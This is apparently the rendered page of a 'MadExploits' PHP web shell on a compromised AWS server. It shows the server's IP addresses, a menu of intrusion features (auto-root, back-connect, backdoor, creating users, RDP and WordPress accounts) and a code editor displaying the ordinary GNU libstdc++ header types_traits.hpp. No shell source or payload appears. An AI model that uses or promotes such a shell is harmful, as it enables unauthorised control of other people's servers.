Linux ip-172-26-2-223 5.4.0-1018-aws #18-Ubuntu SMP Wed Jun 24 01:15:00 UTC 2020 x86_64
Apache
: 172.26.2.223 | : 3.144.237.242
Cant Read [ /etc/named.conf ]
8.1.13
www
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
include /
c++ /
9 /
ext /
pb_ds /
detail /
[ HOME SHELL ]
Name
Size
Permission
Action
bin_search_tree_
[ DIR ]
drwxr-xr-x
binary_heap_
[ DIR ]
drwxr-xr-x
binomial_heap_
[ DIR ]
drwxr-xr-x
binomial_heap_base_
[ DIR ]
drwxr-xr-x
branch_policy
[ DIR ]
drwxr-xr-x
cc_hash_table_map_
[ DIR ]
drwxr-xr-x
eq_fn
[ DIR ]
drwxr-xr-x
gp_hash_table_map_
[ DIR ]
drwxr-xr-x
hash_fn
[ DIR ]
drwxr-xr-x
left_child_next_sibling_heap_
[ DIR ]
drwxr-xr-x
list_update_map_
[ DIR ]
drwxr-xr-x
list_update_policy
[ DIR ]
drwxr-xr-x
ov_tree_map_
[ DIR ]
drwxr-xr-x
pairing_heap_
[ DIR ]
drwxr-xr-x
pat_trie_
[ DIR ]
drwxr-xr-x
rb_tree_map_
[ DIR ]
drwxr-xr-x
rc_binomial_heap_
[ DIR ]
drwxr-xr-x
resize_policy
[ DIR ]
drwxr-xr-x
splay_tree_
[ DIR ]
drwxr-xr-x
thin_heap_
[ DIR ]
drwxr-xr-x
tree_policy
[ DIR ]
drwxr-xr-x
trie_policy
[ DIR ]
drwxr-xr-x
unordered_iterator
[ DIR ]
drwxr-xr-x
cond_dealtor.hpp
2.66
KB
-rw-r--r--
container_base_dispatch.hpp
12.81
KB
-rw-r--r--
debug_map_base.hpp
8.49
KB
-rw-r--r--
priority_queue_base_dispatch.h...
4.1
KB
-rw-r--r--
standard_policies.hpp
4.91
KB
-rw-r--r--
tree_trace_base.hpp
5.03
KB
-rw-r--r--
type_utils.hpp
4.22
KB
-rw-r--r--
types_traits.hpp
9.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : types_traits.hpp
// -*- C++ -*- // Copyright (C) 2005-2019 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the terms // of the GNU General Public License as published by the Free Software // Foundation; either version 3, or (at your option) any later // version. // This library is distributed in the hope that it will be useful, but // WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. // Copyright (C) 2004 Ami Tavory and Vladimir Dreizin, IBM-HRL. // Permission to use, copy, modify, sell, and distribute this software // is hereby granted without fee, provided that the above copyright // notice appears in all copies, and that both that copyright notice // and this permission notice appear in supporting documentation. None // of the above authors, nor IBM Haifa Research Laboratories, make any // representation about the suitability of this software for any // purpose. It is provided "as is" without express or implied // warranty. /** * @file detail/types_traits.hpp * Contains a traits class of types used by containers. */ #ifndef PB_DS_TYPES_TRAITS_HPP #define PB_DS_TYPES_TRAITS_HPP #include <algorithm> #include <utility> #include <ext/pb_ds/tag_and_trait.hpp> #include <ext/pb_ds/detail/type_utils.hpp> #include <utility> namespace __gnu_pbds { namespace detail { /** * @addtogroup traits Traits * @{ */ /// Primary template. template<typename Key, typename Mapped> struct no_throw_copies { static const bool __simple = is_simple<Key>::value && is_simple<Mapped>::value; typedef integral_constant<int, __simple> indicator; }; /// Specialization. template<typename Key> struct no_throw_copies<Key, null_type> { typedef integral_constant<int, is_simple<Key>::value> indicator; }; /// Stored value. template<typename _Tv> struct stored_value { typedef _Tv value_type; value_type m_value; }; /// Stored hash. template<typename _Th> struct stored_hash { typedef _Th hash_type; hash_type m_hash; }; /// Primary template for representation of stored data. /// Two types of data can be stored: value and hash. template<typename _Tv, typename _Th> struct stored_data : public stored_value<_Tv>, public stored_hash<_Th> { }; /// Specialization for representation of stored data of just value type. template<typename _Tv> struct stored_data<_Tv, null_type> : public stored_value<_Tv> { }; /// Primary template. template<typename Key, typename Mapped, typename _Alloc, bool Store_Hash> struct type_base; /** * Specialization of type_base for the case where the hash value * is not stored alongside each value. */ template<typename Key, typename Mapped, typename _Alloc> struct type_base<Key, Mapped, _Alloc, false> { public: typedef typename _Alloc::size_type size_type; private: typedef typename _Alloc::template rebind<Mapped> __rebind_m; typedef typename __rebind_m::other __rebind_ma; typedef std::pair<const Key, Mapped> __value_type; typedef typename _Alloc::template rebind<__value_type> __rebind_v; typedef typename __rebind_v::other __rebind_va; public: typedef typename __rebind_ma::value_type mapped_type; typedef typename __rebind_ma::pointer mapped_pointer; typedef typename __rebind_ma::const_pointer mapped_const_pointer; typedef typename __rebind_ma::reference mapped_reference; typedef typename __rebind_ma::const_reference mapped_const_reference; typedef typename __rebind_va::value_type value_type; typedef typename __rebind_va::pointer pointer; typedef typename __rebind_va::const_pointer const_pointer; typedef typename __rebind_va::reference reference; typedef typename __rebind_va::const_reference const_reference; typedef stored_data<value_type, null_type> stored_data_type; }; /** * Specialization of type_base for the case where the hash value * is stored alongside each value. */ template<typename Key, typename Mapped, typename _Alloc> struct type_base<Key, Mapped, _Alloc, true> { public: typedef typename _Alloc::size_type size_type; private: typedef typename _Alloc::template rebind<Mapped> __rebind_m; typedef typename __rebind_m::other __rebind_ma; typedef std::pair<const Key, Mapped> __value_type; typedef typename _Alloc::template rebind<__value_type> __rebind_v; typedef typename __rebind_v::other __rebind_va; public: typedef typename __rebind_ma::value_type mapped_type; typedef typename __rebind_ma::pointer mapped_pointer; typedef typename __rebind_ma::const_pointer mapped_const_pointer; typedef typename __rebind_ma::reference mapped_reference; typedef typename __rebind_ma::const_reference mapped_const_reference; typedef typename __rebind_va::value_type value_type; typedef typename __rebind_va::pointer pointer; typedef typename __rebind_va::const_pointer const_pointer; typedef typename __rebind_va::reference reference; typedef typename __rebind_va::const_reference const_reference; typedef stored_data<value_type, size_type> stored_data_type; }; /** * Specialization of type_base for the case where the hash value * is not stored alongside each value. */ template<typename Key, typename _Alloc> struct type_base<Key, null_type, _Alloc, false> { public: typedef typename _Alloc::size_type size_type; typedef Key value_type; private: typedef typename _Alloc::template rebind<null_type> __rebind_m; typedef typename __rebind_m::other __rebind_ma; typedef typename _Alloc::template rebind<value_type> __rebind_v; typedef typename __rebind_v::other __rebind_va; public: typedef typename __rebind_ma::value_type mapped_type; typedef typename __rebind_ma::pointer mapped_pointer; typedef typename __rebind_ma::const_pointer mapped_const_pointer; typedef typename __rebind_ma::reference mapped_reference; typedef typename __rebind_ma::const_reference mapped_const_reference; typedef typename __rebind_va::pointer pointer; typedef typename __rebind_va::const_pointer const_pointer; typedef typename __rebind_va::reference reference; typedef typename __rebind_va::const_reference const_reference; typedef stored_data<value_type, null_type> stored_data_type; static null_type s_null_type; }; template<typename Key, typename _Alloc> null_type type_base<Key, null_type, _Alloc, false>::s_null_type; /** * Specialization of type_base for the case where the hash value * is stored alongside each value. */ template<typename Key, typename _Alloc> struct type_base<Key, null_type, _Alloc, true> { public: typedef typename _Alloc::size_type size_type; typedef Key value_type; private: typedef typename _Alloc::template rebind<null_type> __rebind_m; typedef typename __rebind_m::other __rebind_ma; typedef typename _Alloc::template rebind<value_type> __rebind_v; typedef typename __rebind_v::other __rebind_va; public: typedef typename __rebind_ma::value_type mapped_type; typedef typename __rebind_ma::pointer mapped_pointer; typedef typename __rebind_ma::const_pointer mapped_const_pointer; typedef typename __rebind_ma::reference mapped_reference; typedef typename __rebind_ma::const_reference mapped_const_reference; typedef typename __rebind_va::pointer pointer; typedef typename __rebind_va::const_pointer const_pointer; typedef typename __rebind_va::reference reference; typedef typename __rebind_va::const_reference const_reference; typedef stored_data<value_type, size_type> stored_data_type; static null_type s_null_type; }; template<typename Key, typename _Alloc> null_type type_base<Key, null_type, _Alloc, true>::s_null_type; /// Type base dispatch. template<typename Key, typename Mapped, typename _Alloc, bool Store_Hash> struct type_dispatch { typedef type_base<Key, Mapped, _Alloc, Store_Hash> type; }; /// Traits for abstract types. template<typename Key, typename Mapped, typename _Alloc, bool Store_Hash> struct types_traits : public type_dispatch<Key, Mapped, _Alloc, Store_Hash>::type { private: typedef no_throw_copies<Key, Mapped> __nothrowcopy; typedef typename _Alloc::template rebind<Key>::other __rebind_a; public: typedef typename _Alloc::size_type size_type; typedef typename __rebind_a::value_type key_type; typedef typename __rebind_a::pointer key_pointer; typedef typename __rebind_a::const_pointer key_const_pointer; typedef typename __rebind_a::reference key_reference; typedef typename __rebind_a::const_reference key_const_reference; typedef std::pair<size_type, size_type> comp_hash; typedef integral_constant<int, Store_Hash> store_extra; typedef typename __nothrowcopy::indicator no_throw_indicator; store_extra m_store_extra_indicator; no_throw_indicator m_no_throw_copies_indicator; }; ///@} } // namespace detail } // namespace __gnu_pbds #endif
Close